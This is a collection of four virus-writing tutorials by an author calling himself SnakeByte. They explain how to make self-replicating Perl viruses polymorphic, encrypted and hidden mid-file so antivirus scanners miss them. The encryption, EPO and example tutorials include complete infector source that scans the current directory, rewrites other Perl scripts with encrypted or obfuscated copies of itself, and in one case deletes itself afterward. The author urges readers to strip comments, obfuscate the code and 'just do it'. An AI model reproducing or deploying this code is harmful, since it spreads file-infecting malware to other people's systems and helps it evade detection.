ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PERLPOLY.TXT]ÄÄÄ Polymorphism in Perl Viruses by SnakeByte [ SnakeByte@kryptocrew.de ] http://www.kryptocrew.de After writing something about EPO and Encryption in Perl Viruses I somehow felt that I also have to do this. So I will explain here some techniques which could be used in Perl to create polymorphic perl viruses. There are several things we could do to make every infection of the virus different from all others, to confuse a possible Anti Virus Scanner. The first one is to add random, comments to each line : for ($a = 0; $a < @Virus; $a++){ $comment = int(rand(65535)); @Virus[$a] .= " \#$comment" ; } You could also include characters or other stuff, but once there is a Scanner for perl viruses, the first thing it will do is to remove all comments =) So this is very weak, but until there is a scanner, we could use this. Another thing we could do to make every virus different, is to change the linebreaks. In perl linebreaks are just used for better reading, so we could remove every linebreak and insert some, ( nearly ) everywhere we want to. printf("testme"); printf("cool"); could also be : printf( "testme"); printf("cool" ); so here could we get a nice range of variability =) But once scanners are implemented, they will just remove all linebreaks, and unnecessairy spaces, so this would not help in the long run. Ok, let's start with something that might also work in the long run, replacing all variables with others. $myvars2 = "MyVars:Virus:whatever:myvars2"; # all the variables you use @MyVars = split(":", $myvars2); # read them into an array for ( $x = 0; $x < @MyVars; $x++ ){ $newVar = chr(int(rand(25)+65)); # we take all letters $newVar .= int(rand(65535)); # + a random number $Virus =~ s/@MyVars[$x]/$newVar/; # and replace the variable =P } Easy and effective, this makes string scanning useless and forces the AV's to use wildcards =) This is better poly than the one described above, but we can even go on. We could swap instructions when generating the decryptor, and use other ones, doing the same stuff ( don't think you need code for this *g* ) When swapping and replacing instructions, you are also able to insert trash code, like $DD34424 = "sdfkölsdjfpi3"; to make the virus even more variable, such a trashcode generator should be written as a sub to be able to use simple expressions like $myCode .= "whatever" + &trashcode; this way you can keep the code short and effective. In my mind when you use EPO and Polymorphism in Perl Viruses AV's will have a very hard time to detect and remove perl viruses... ;) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PERLPOLY.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ENCRIPTI.TXT]ÄÄÄ Encryption in Perl Viruses by SnakeByte [ SnakeByte@kryptocrew.de ] www.kryptocrew.de/snakebyte/ This tutorial describes how to use encryption in a perl virus, to make detection by simple string scanning useless or to reduce the scanstring, so anti virus companies have to implement a real emulation or heuristic for perl viruses. Ok, let's start. I don't know if it is possible to write selfmodifying code in perl, but i think it isn't. So we have to use a different way than in asm viruses. The one I will describe here works the following. When infecting a file, we place the entire virus into a encrypted string and a decryptor after it, which decrypts the string and writes it to a file, which gets started afterwards. To make it more clear some pseudo code of a prepending, encrypted perl virus. #!/bin/bash # Virus Mark $Virus="encrypted virus" open file write virus into file close file start file [ .. infected host ] The Virus then does the following : open own file + read it into a string foreach $File (<*>) open file + check for perl and infection mark encrypt string write string and decryptor to the file close target file Seems pretty easy, doesn't it ? Ok, let's get to the real code : <--------------------------------------------------------------- #!/usr/bin/perl # Encrypted Perl Virus by SnakeByte open(File,$0); # open our file @Virus=; # to read ourselves close(File); $Virus=join("\n", @Virus); foreach $FileName(<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[0] =~ /perl/i ) or (@Temp[1] =~ /perl/i )) { if (@Temp[1] !~ "Virus") { $Key = int(rand(255)); for ( $X = 0; $X < length($Virus); $X++ ){# Encrypt it # we get each char, convert it to # the Ascii Value and add the Key @Crypt[$X] = (ord(substr($Virus, $X, 1))) + ($Key); } $VirString = join("!", @Crypt); # all values get seperated by a ! @Vir[0] = "\#\!\/usr\/bin\/perl"; @Vir[1] = "# Encrypted Perl Virus by SnakeByte "; # infection mark @Vir[2] = "\$Virus = \"$VirString\"\;"; @Vir[3] = "\$Key = $Key\;"; # key to decrypt @Vir[4] = "\@Virus = split(\"\!\", \$Virus)\;"; @Vir[5] = "for ( \$X = 0\; \$X < (\@Virus)\; \$X++ ) { "; # Decrypt Loop @Vir[6] = " \$Vir .= chr(\@Virus[\$X]-\$Key)\;"; # Decrypt Char @Vir[7] = "}\" ; @Vir[8] = "open(File, \"\>Virus.pl\")\;"; # write encrypted @Vir[9] = "print File \$Vir\;"; # string to a file @Vir[10] = "close(File)\;"; @Vir[11] = "\$a = \`perl Virus.pl\`;"; # and start it $Temp = "@Vir\n@Temp"; # put the Arrays together open(File, ">$FileName"); # and write the infected print File $Temp; # file back to disk close(File); } # infection mark check } # infect end } # filecheck end } # foreach end searchloop <--------------------------------------------------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ENCRIPTI.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EPOTECHN.TXT]ÄÄÄ Perl EPO Techniques This little tutorial will present you some simple, but effective methods, to hide your perl Virus from detection by analyzing the perl source code. At the moment all perl virus detections seem to be based on simple string scanning, so are very basic. The idea of this paper is to use Entry Point Techniques, we all know from Win32 PE Infectory, to make the automatic analisation of the virus harder, to prevent it getting detected by the heuristic scanning engines which will possibly show up soon, if perl viruses would get more popular... and I think they will, as somebody told me .."perl is sexy" The idea is not to habe the perl virus code in the start of the file or a jump / call to it in the start, but to insert a call or the entire source somewhere in the middle of the file, so lots of code needs to be traced before the actual virus would be found.. in the best case, too much for the scanner, and he would fail detecting the virus. So how can we achieve this goal ? There several ways to do this ( TIMTOWTDI ). The one is to insert a call to the virus somewhere in the middle and placing the virus at the end. And the other is to insert the entire virus inside the file. No matter which way we choose, we need to insert our code somewhere. To do this we need to find a simple way, to parse the code and find a valid point where to include it. This can be done in several ways to. I think the easiest one is to search the perl file from a random line, up or downwards, you decide for a ; which ends every perl statement. Or better for an ;\n or and ; and a space character. This way we can get pretty sure, that we either have found the end of a statement, where we can include our &Virus to call the Virus body. Or we found something like 'print "foo"; print "bar"' So if we searched for a ; inside a string, we can split the line there and divide in into two, and insert the call just between them. Instead of the call, we could also insert our entire virus, just make sure, you use strange variables, so you wouldn't mess up the original code. How to mark the infection ? This can be done in various ways, like to align the filesize to a special value, by adding spaces, or make the first line end with 3 spaces in a row, or insert several newlines at the end of the file. This is something a virus scanner can't rely on to be an infection =) The next problem is that we need to find our own code inside the file, to be able to insert it into another perl script. A weak method could be to insert a comment which you can search for, but this comment could be picked up by an av, which is not good, if you want to implement poly techniques or something similar to hide your scanstring. I think a nice way is a hardcoded line number, like the hardcoded delta offset in some viruses. Let's see some pseudo code first. [ normal File ] [ < Virus > $xxx = line number open own file read y lines from line $xxx for file in * open file search an ; get line number insert $xxx = line number insert the virus ( the lines we read before ) done .. ] [ normal File ] [ spaces for size padding] I think the concept is very clear at this point, is it ? So let's follow the real code ! Simply drop this to a file and start it, to make it infect all .pl files in the current directory. <-----------------( EPOVirus.perl )----------------------------------- #!/usr/bin/perl print "Perl Virus to demonstrate EPO by SnakeByte\n"; # <<<<<<<<<<<<<< here starts the virus <<<<<<<<< $VirLine = 6; # in line 7 starts the virus body.. $VirMaxLine = 59; # number of lines in the virus open(VirFile,$0); # open our own File @Virus=; # read the entire file close(VirFile); # close it for ($VirX=0; $VirX < $VirMaxLine; $VirX++){ # copy $VirMaxLine lines $VirA=$VirX+$VirLine; @Virus2[$VirX]=@Virus[$VirA]; # from $VirLine } foreach $VirFileName(<*.pl>){ # search files if (( -r $VirFileName ) && ( -w $VirFileName ) && ( -f $VirFileName )) { open(VirFile, "$VirFileName"); # open the file we found @VirTemp=; # read it close(VirFile); # close it # check if it is a perl file if ((@VirTemp[0] =~ /perl/i) or (@VirTemp[1] =~ /perl/i)) { $VirFile2 = join("\n", @VirFile); # is file already infected ? $VirSize = length( $VirFile2 ); if ( ( $VirSize % 10 ) != 0 ){ for ( $VirX = ( (@VirTemp) >> 1 ); $VirX < @VirTemp; $VirX++ ){ if ( @VirTemp[$VirX] =~ "\;\n" ) { # We found a ;\n and infect this file ! # Copy all lines below into a new array for ( $VirY = 0; $VirY < $VirX; $VirY++ ){ @VirNEW[$VirY] = "@VirTemp[$VirY]"; } # now we insert the virus $VirY++; # set the line number @VirNEW[$VirY] = "\$VirLine = $VirX\;\n"; $VirY++; for ( $VirZ = 0; $VirZ < $VirMaxLine ; $VirZ++ ){ @VirNEW[$VirY] = @Virus2[$VirZ]; $VirY++; } # and insert rest of the original file for ( $VirZ = $VirX; $VirZ < ( @VirTemp ) ; $VirZ++ ){ @VirNEW[$VirY] = "@VirTemp[$VirZ]"; $VirY++; } $VirFile2 = join("\n", @VirNEW ); # do padding with spaces $VirSize = length( $VirFile2 ); print ("Laenge : $VirSize \n"); $VirSize = $VirSize % 10; ; print ("Size mod 10 : $VirSize \n"); $VirSize = 10 - $VirSize; ; print ("Padding: $VirSize \n"); for ($VirX = 1; $VirX < $VirSize; $VirX++){ @VirNEW[$VirY] = "@VirNEW[$VirY] " # add spaces } # end padding # write the new file to disk open(VirFile, ">$VirFileName"); print VirFile "@VirNEW"; close (VirFile); goto VirEND } # End Infect } # End Search for ; } # End Perl File Check if } # End Infected ? If } # End Filecheck if VirEND: # get next file.. } # End search files for each.. <------------------------------------------------------- You see it is pretty simple to insert your perl virus somewhere in another file.. just do it =) The code can be optimized of course, and can be shrinked to less lines ( for example the { in the end ). ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EPOTECHN.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EXAMPLE.TXT]ÄÄÄ Poly Perl Virus Example by SnakeByte [ SnakeByte@kryptocrew.de ] http://www.kryptocrew.de/snakebyte/ Ok, this is a polymorphic perl virus which is using EPO techniques, To make this code useful strip the comments, remove linebreaks, and obfuscate it .. ;) K-------------------- Cut here -------------------------------------------------------> # 1st Poly Virus by SnakeByte [Matrix/KryptoCrew] open(File,$0);@Virus=;close(File); # read own code $Virus=join("", @Virus);foreach $FileName(<*>) { # get files if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { # check file open(File, "$FileName");@Temp=;close(File); # open file if ((@Temp[0] =~ /perl/i ) && ( substr(@Temp[0],0,2) eq "\#!" )) { # perl file ? if (( length(@Temp[0]) % 5 ) != 0 ){ # already infected ? # first we generate a decryptor $Key = int(rand(255)); # cryptkey $crypttype = int(rand(2)); # how to crypt it ? for ( $X = 0; $X < length($Virus); $X++ ){ # Encrypt it if ( $crypttype == 0 ){ @Crypt[$X] = (ord(substr($Virus, $X, 1))) * ($Key); # Multiply } else { @Crypt[$X] = (ord(substr($Virus, $X, 1))) + ($Key); # Addition } } $connectit = chr(int(rand(25)+65)); $VirString = join($connectit, @Crypt); # all values get seperated by a ! $filename = chr(int(rand(25)+65)); # random filename to put virus to $filename .= int(rand(65535)); if ( int(rand(2)) == 0 ){ @Vir[0] = "\$l1l = \"$VirString\"\;"; @Vir[1] = "\$11l = $Key\;"; # key to decrypt } else { @Vir[0] = "\$11l = $Key\;"; # key to decrypt @Vir[1] = "\$l1l = \"$VirString\"\;"; } @Vir[2] = "\@ll1 = split(\"$connectit\", \$l1l)\;"; @Vir[3] = "for ( \$lll = 0\; \$lll < (\@ll1)\; \$lll++ ) { "; # Decrypt Loop if ( $crypttype == 0 ){ @Vir[4] = " \$l11 .= chr(\@ll1[\$lll] \/ \$11l)\;"; # Decrypt Char } else { @Vir[4] = " \$l11 .= chr(\@ll1[\$lll]-\$11l)\;"; # Decrypt Char } @Vir[5] = "}"; @Vir[6] = "open(1l1, \">$filename\")\;"; # write encrypted @Vir[7] = "print 1l1 \$l11\;"; # string to a file @Vir[8] = "close(1l1)\;"; @Vir[9] = "\$lll = \`perl $filename\`;\n"; # and start it # change variables # $Virus File @Virus $X $Key $Vir # l1l 1l1 ll1 lll 11l l11 @vars = ("l1l", "1l1", "ll1", "lll", "11l", "l11"); # replace the variables foreach $replace (@vars){ $newVar = chr(int(rand(25)+65)); # with a letter $newVar .= int(rand(65535)); # and a random number for ( $b=0; $b < @Vir; $b++){ @Vir[$b] =~ s/$replace/$newVar/g ; } } do { chomp @Temp[0]; @Temp[0] .= " \n"; } until((length(@Temp[0]) % 5) == 0 ); open(File, ">$FileName"); # and write the infected $Temp = join("\n", @Vir); for ( $X = ( (@Temp) >> 1 ); $X < @Temp; $X++ ){ if ( @Temp[$X] =~ "\;\n" ) { # insert virus in the middle $Temp2 = join("", @Temp[0..$X]); # write first part print File $Temp2; # and virus print File $Temp; $X++; $Y = (@Temp); $Temp2 = join("", @Temp[$X..$Y]); # insert rest of the file print File $Temp2; goto CloseFile; } } $Temp2 = join("", @Temp); # no possibility to insert virus print File $Temp; # file back to disk print File $Temp2; # without EPO CloseFile: close(File); }}}} $a = `rm $0`; # delete our selves.. K-------------------- Cut here -------------------------------------------------------> ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EXAMPLE.TXT]ÄÄÄ